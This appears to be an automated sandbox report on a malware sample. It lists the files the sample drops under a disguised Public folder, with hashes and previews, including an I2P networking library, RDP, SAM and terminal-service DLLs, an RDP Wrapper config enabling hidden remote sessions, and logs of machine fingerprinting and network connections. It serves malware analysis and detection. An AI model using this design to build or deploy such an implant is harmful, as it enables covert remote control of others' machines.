SHA-256:	D2036A9B1D06B3A200D196EC4FAE19ED0B0D5C65852DE97B27C8C5CA716D30DE
SHA-512:	13E184BC9285622038E2E19EA35E3DBB29D515F4363AE7082674E7D16BF44D967A21F6DAC2AA5FCCD29F41BD14C4A47B33BFC73728B5302947913B6A5370DE38
Malicious:	false
Preview:	05:27:36@471/info - AESNI enabled..05:27:36@471/info - API: Starting NetDB..05:27:36@471/warn - Family: Can't load family certificates from C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\certificates\family..05:27:36@471/info - NetDb: 0 routers loaded (0 floodfils)..05:27:36@471/warn - Profiling: No profile yet for 6bL8xvKABpTmmQ-0qofqx9csy9SWPBPDE3hUrYsOrWo=..05:27:36@471/info - NetDb: RouterInfo added: 6bL8xvKABpTmmQ-0qofqx9csy9SWPBPDE3hUrYsOrWo=..05:27:36@471/info - NetDb: RouterInfo added: bfaXwwIiRX4zIAbSubKcynpxGzaHUWg7O6~I62TpPWI=..05:27:36@471/info - NetDb: RouterInfo added: DsvYfImUtDCJJtgrbBnvQrAkmeoDKe0r2x83Z2hjhDM=..05:27:36@471/warn - Profiling: No profile yet for E~S2QXf4oG3NCnl1gsCQbfzeFkaqevgyrjNf4Gn~raY=..05:27:36@471/info - NetDb: RouterInfo added: E~S2QXf4oG3NCnl1gsCQbfzeFkaqevgyrjNf4Gn~raY=..05:27:36@471/info - NetDb: RouterInfo added: Yly5nfw26VoRUHZZ4n9sI5UX4qoCFdMy2CVSZfOSXEM=..05:27:36@471/warn - Profiling: No profile yet for RGsysDsWkTToSgU

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ntcp2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	6.037492001110315
Encrypted:	false
SSDEEP:	3:nXFnivEyNk1RzNV8D/c:nXFivPu1byD0
MD5:	64C4BA98F0025148B487CE1087FB5C34
SHA1:	884E28F61DD76CDA0B30782EA9759EF53F519663
SHA-256:	0357F5F3EE7A5159CD36ABF264DF663385133C9C686AEF4FE2DF9F3114ED0A8D
SHA-512:	A4FE53E80F10B873974ECC3A8C6CBE2B1E2A3D5B885FFEDEA4C7A60D439D9C0730EAEF6406A51138BFB815AB826C6F0BF57BE9713799C45ECA7743CC5D25D189
Malicious:	false
Preview:	2.?.....P`....f.....`..3f#....)..M..:..X...m../PZ...{.!k.(.L..m.P....h.....

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.info

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	6.71168881158753
Encrypted:	false
SSDEEP:	12:SPNMbmdbmdbmdbmdbmdbmdbmdbmdbmdbmPnoe0DUv0YKYKICL6meb8ihBjksNEuB:S13kkkkkkkkkPk29ksD/Yl8D3
MD5:	B249C4AD690C26B34AF4184DA0C0E237
SHA1:	5992AE6E0A7A8CC1AF6589B4E22F06666E9EFD2A
SHA-256:	4E5BD681F5ED641BD7ECE4AA87CD7ED3EC885500FF2104C3A35084593EA91CC3
SHA-512:	2436282E3EF338782AF604D9CB3A920A5E67ACCB74BD569A00034AE5E844266CC51B8AD960BF8D9C358F251BF1E8E2BC24CB34BD4518866BACEFF6E751CB7603
Malicious:	false
Preview:	.r<6[..l...S.M.s/h.bG..V.)...K!#.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.7$..$..J.q....'.us.c.....Br............._W............NTCP2.@.caps=.4;.s=,MsM~gxKMpdhQYJCnv7JmiamdzuFg~dIzZiOQ3Ijuzyk=;.v=.2;..........SSU2.".caps=.4;.i=,a4GP~I9bGefYViZASmKCX1oV8NL15xLz~5QhLeH9I9E=;.iexp0=.1721990938;.iexp1=.1721990926;.ih0=,PS8V3xG7Q9QR0jm2vqgR3iz8G8PxwTdrgGCCwFMnj44=;.ih1=,dfq02xmRr104sILy3kqtvFB~6gl9-0A5wL7N-3CT4HM=;.itag0=.1928364366;.itag1=.283842544;.s=,xto-GAKVb4G4qIBy0a2Ls5lG3LQAgK6xHRAs1w8d4kw=;.v=.2;..,.caps=.LU;.netId=.2;.router.version=.0.9.60;..s..fR%9.<x.9`.B.8.);#1[Z...;%.P+.g.2f...S.)..<HkP..b2I.[.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	455
Entropy (8bit):	6.090170721231041
Encrypted:	false
SSDEEP:	12:SPNMbmdbmdbmdbmdbmdbmdbmdbmdbmdbmPnoe05tGaz7yaZgn:S13kkkkkkkkkPSGA0
MD5:	85F058B0EA3E8BA7301731F23C4C25C0
SHA1:	B16784EC481615B49F4EE24CB2F6E6A0F85961AA
SHA-256:	57DAA0E57D18230C0256DEF527027CC1399E44F8BBD413C86EED028BCDBA660E
SHA-512:	7FBB2C7A618A56B0380429E2E25CF8E17D86ECE0F0D5FE6176971B0698DD72104B829BE35A94EB92C677F09119F77FE1FA0AE4E7C0314FDE3BCF1F81BC2CE401
Malicious:	false
Preview:	.r<6[..l...S.M.s/h.bG..V.)...K!#.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.\.}..[}>..)..SG.J.,.]..u.:...ex.7$..$..J.q....'.us.c.....Br...........T..-.....+(L.I..V.._.?.L.q)J..F......8C. w...........?..M.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ssu2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	96
Entropy (8bit):	6.243765755906957
Encrypted:	false
SSDEEP:	3:dw/doW6eZlLM0BuZpzwpv+vrVH3dxESn:qh6eZlQFdqEPCS
MD5:	840B0503053704A53674330C18E942DB
SHA1:	8D453C9477A4025306C26907F6EFE70EC408EBDF
SHA-256:	D56033E8A4B6822EB26D757DD7E48CC27D1D7CD7E70EC500D12368A81CC9315D
SHA-512:	E3906A70CD29AD1B91A6CA5038A4329C66ABA1E10162C448ED05CBD63B78EE1B909DEB1AFEC6DD99F4A20F2F6CBBC51F807F365E354C33504414F27059FD31C9
Malicious:	false
Preview:	..>...o....r....F.......,....L.6@....t.IU.$.) ....O..w..'.`.{k....[...V&@Jb._Z.........!-..#.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674746222402691
Encrypted:	false
SSDEEP:	196608:k1XYZ4Q+Kt8eiMFbO1CPwDvt3uF8f339CME:k1XgfieiMs1CPwDvt3uFe9CME
MD5:	FE7ED803A7F672FAEE4587732B2C6E0F
SHA1:	DF209D1B055044ABF4C0A6D4DE3EBFCD8D7784E1
SHA-256:	154C3DCA584BB1F78C7AE7688D70998F2B62BED8884267E3FCF150BFEFE2C9D8
SHA-512:	06E185F1689E7B5DFEF6625D99FF14DFCFF6C2203E9BE323FED3B6A9684C5179964969546D42F4639DB878903981BB15E0A8F62A1C5B2B0A47FA3496E05FDD3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...R.me..........."...).t]......R..0........................................P.......o....`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata.. >...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	6.223370120951598
Encrypted:	false
SSDEEP:	1536:2IiMbJINPr6fRHJ4PuAyMonJqYcNtnOIkqGYtDtm3:JiMbJINP+fNJF/tJotOIpDtm
MD5:	CFCBC15615FFC698507D32C0A7D21134
SHA1:	F6DACCE59F78CA4EE6622C4A340923282EC3ADDE
SHA-256:	A653F5DBEB0DDECBC16C70B0B8C9471ABB30C66032C2EE951DC36265F899D7D8
SHA-512:	0AE08C2A2D56B976CBD748273A7AB8011F3EB82A22D58EBF44B73602FFA808E9A111A60AE250D441D11196522FD4C1AA6EC79193375EFFDC0207FFE7BBAB61DB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....X.................@....................................x.....`... .................................................P............`..X...........................................`B..(....................................................text...h...........................`..`.data...............................@....rdata...P.......R..................@..@.pdata..X....`.......0..............@..@.xdata.......p.......:..............@..@.bss....P................................idata..P............D..............@....CRT....`............V..............@....tls.................X..............@....reloc...............Z..............@..B................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12926
Entropy (8bit):	5.594323237103949
Encrypted:	false
SSDEEP:	192:AzDT20kASgf0/8Y3cEgQ87ai7Z38/KZjaH8TkF9qp89lSD+E28HogZmF8xdICrem:sDTqHuW90v6fNP2X0rnC
MD5:	CE2C6B8F841C96D0ADC8A0E256B2EAC7
SHA1:	1656C75F564A10BA10E5C910C9E09129D39BFE6D
SHA-256:	514A2F37395C3D898421EAB3D1D69B682A9F72794775550BA3E50BB7913EE99E
SHA-512:	76377058AD478A69194B467C1D55E6700CA1B3774BDC89A75C3F8C1E60D683B835FFDDF3FAB53A568B33CC3759FFA9C1F25CB6FAA5ED22E149E6F9041853CF52
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (fs_file_read) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\update.pkg,buf_sz=10448885)..[I] (fs_path_expand) -> Done(path=%TEMP%,xpath=C:\Windows\TEMP,xpath_sz=15)..[I] (fs_path_temp) -> Done(path=C:\Windows\TEMP\1kuzcKGx,path

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.293384667837124
Encrypted:	false
SSDEEP:	1536:ZPwYKFFHK6Qt+mPIg3aQtvv4+kWn+DnP8XprSCYA8CSs8qgu06wCYA8CSs8qgu08:lwf1KpFIg3hvIWmnP8XpD
MD5:	B85FECC5E81D0CFBC3750C06E4A11412
SHA1:	0F57603DB18BFE0A5EE50D618184E9ED4FCAFD7F
SHA-256:	9FD76374C6E19923F99411D6F9BBF6614C94D81CD47630314C2AE21A94DF40A8
SHA-512:	97D553317BB4D276E7F5F3C5808DCB8717319047512DEF6B96DA17D57248FFD5E374833A98F767F14BD8F3059DE464F7829D47C65D969BE868431FAAF6A61C1D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................@......bt....`... .........................................^.......................T............0..h...............................(.......................`............................text...............................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss....@................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1433
Entropy (8bit):	5.519301253922668
Encrypted:	false
SSDEEP:	24:CFAGHr5lGyclY7GfylD2BlD7cRE9FLxJLJ50ERlXYQe0HneAOaeAOp:CFdHr54yclDEDsXcm9FLvT5e0HneoeD
MD5:	1D78379C58A1A7EE18742F3FE00DF724
SHA1:	140B9711E37007F22CB3EC2FE4A4E4FDA6287D81
SHA-256:	06FEDAE4D60D1E974E6DB6F9CA58A83E3AB9BD632C6D0181334B8EA943709EAC
SHA-512:	048B00C36CC19942EC475951F2F488ECF7BEA4AFF5734E90461D3B2DDAC6E5BFB6F6D4B22925B2DC216D8D79D60F3A316BAD7BC6795B52BEFF1C4E21EEE9D7F0
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffdac0a9d36)..[I] (tcp_connect) -> Done(sock=0x380,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.3129183036473915
Encrypted:	false
SSDEEP:	3072:7LZ2Dkkvacm5vSs9dHoLDS6o2zhoesVR8sZnv:/RLk9o2zk
MD5:	FEF8651F5F797F30A37D7CD36BEA31AC
SHA1:	8E85D22FB5247A69C1298D703D629DD46BC44C74
SHA-256:	4083F67D11E7DF827BFF6C665B29F39FB197B4BA608D5C39ECFF46EA9A0B61F0
SHA-512:	9C69D66690080A341C25EEB9E258FDE4DD4E94B80AF0085753E758378C1E1790FAEF48C7384AD5171C63BE156C68D0F207ECABF78D8AB5F367E04D5A34828851
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.:..........\.........,.....................................~&....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text...x9.......:..................`..`.data........P.......>..............@....rdata.......`.......@..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	5.504152891387757
Encrypted:	false
SSDEEP:	24:CFAGH75lGyclY7GfylD2BlD7cRE9FLxJLJ50dk1RDo9XYTYcRAENmMeAOp:CFdH754yclDEDsXcm9FLvTgHcLMMeD
MD5:	47CD67892A3C01B6667CBD787DD4A847
SHA1:	67671FF305B5E22DF4A7D9960118BAF79C234456
SHA-256:	A70AE63D82FE06F7412250902C1A0126742D3E569E93D3C39BE171B2F48A3787
SHA-512:	8C67DDC2372E1D7EBD7D7272787102DD1CF63F3886E850EF356792BA4103753166B8C6C2F1FC4E6903A5DFC3BADD510ECAC4814F555C18F497C58513AF406536
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (scm_init) -> Done..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (proxy_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffda38c

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.2749560583234105
Encrypted:	false
SSDEEP:	1536:9s2Ppklhc1NUWdaC/fHdHqTjhcqiBMAW4LFLvkgTzn6X8Y6ow6S:RIhc1NUWkC9qarBMILNz6X8Y6owz
MD5:	D44FBD8760E79F5D950DB5BC6E86A398
SHA1:	2175264673A9A5B7AF024D8E8F28879B1758ABC8
SHA-256:	AD38977D88E19C24793C6AEE42B6389536B6879FAA50E2438350F140247A9DF2
SHA-512:	9FD106939BF686D53676669755272CB59B2CCB7909BE27B40C7261988264E801CDC94503F3ED70B95CB0980C65153AA0CC66CA764C053846C4626FDE86E122E0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................P.......K....`... .........................................^....................................@..p...............................(...................X................................text...............................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1929
Entropy (8bit):	5.480649361741151
Encrypted:	false
SSDEEP:	48:CFdHr+54yclDEDsXcm9FLvTeHS5ZR5+sR5CdLh5HR5OKXbeD:idHxNBJ9Vr+OD
MD5:	53E814031F42314FC158208FCAD21ED0
SHA1:	4EECFC454AB1E52DD1E4E86021BD1A4919ED54E0
SHA-256:	5566A5800D7065B9BA3B3BC289D507638E52358FC70DCEB720EDD19F65419EB5
SHA-512:	E019937BF02CC528C79C6B36E252DA2F4FE18EF27F4FACB013E022BD74ECBBDEB0593411C47597377DE635398F9523590332405DEE63F53E9CB039E28BDD4C33
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (sam_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffda389e21c)..[I] (tcp_connect) -

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.229599360032918
Encrypted:	false
SSDEEP:	1536:TP9ubSSddAQnoS8S1XsonSimrEozPyHzCnUbPICBL62:T1ubSSddAQoS8S1XsonGwW6CUbAC962
MD5:	BF5D5BA471AB0266F991095FDCF74140
SHA1:	42E890322966B7F2F9802C9E22269ED339C2969B
SHA-256:	91DB57A2B77AC18B9605B08D7B926F9DC32C7E7D6F4047FBA0270A4403C288BB
SHA-512:	B9F0113802C113F9FF5975989CC6CB9735CBE62D881E009FE853938604837996412332679C7EB7022B734401B2580D116566F7BA51CA62F787CF1D617B9EBC96
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....`......\...............................................B.....`... ..............................................................`..................d............................I..(......................h............................text...X...........................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	435089
Entropy (8bit):	5.449337416498263
Encrypted:	false
SSDEEP:	768:DUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4p7V:TG6Gl33L+MOIiG4IvREWddadl/Fy/k8n
MD5:	8CCA461A362EF864BDF35EDDE9F8E7A5
SHA1:	83E7254EAA34C130EA56965E4CF46610AAF69C8F
SHA-256:	785639D13771B021F191EC60E1C8E3E2EFEA164D2005F297A24559AEB0F58CCF
SHA-512:	E01B175FAD5C6F718C9A504B49A516F270A93A277D8CCD11A41713CC337489FA0FBC3176B629A9A368A65D48CC31685F02DB6FDD486B91F31DF9F621E636817F
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-06-28..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\update.pkg

Download File

Process:	C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
File Type:	data
Category:	dropped
Size (bytes):	10448885
Entropy (8bit):	6.7084700728650555
Encrypted:	false
SSDEEP:	196608:D1XYZ4Q+Kt8eiMFbO1CPwDvt3uF8f339CMEv:D1XgfieiMs1CPwDvt3uFe9CMEv
MD5:	B19DD73939F4D3249E87008653BFE5F5
SHA1:	936A1DE5275E0EA2E4BC9BE7B724736B135B5BE4
SHA-256:	7403BF80DA0910E3279FA603AE2D573B06F11D3D72585664965E593DAC92A0B6
SHA-512:	103918920927C6E8BAC17293AB24E2E543B69FE3455E345FAA8A43C0B10F00827F4310552611EC349A1E3B6B02BEA8416A5DB52FB7A86A55D9E3D4DCF5FBF7F3
Malicious:	false
Preview:	.......cnccli.dll.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........."h.............................P......Zq....`... .........................................^....................................@..l........................... ...(.......................h............................text...X...........................`..`.data........0......................@....rdata..@d...@...f...(..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B.....................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\7847438767[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11989504
Entropy (8bit):	6.07792398425301
Encrypted:	false
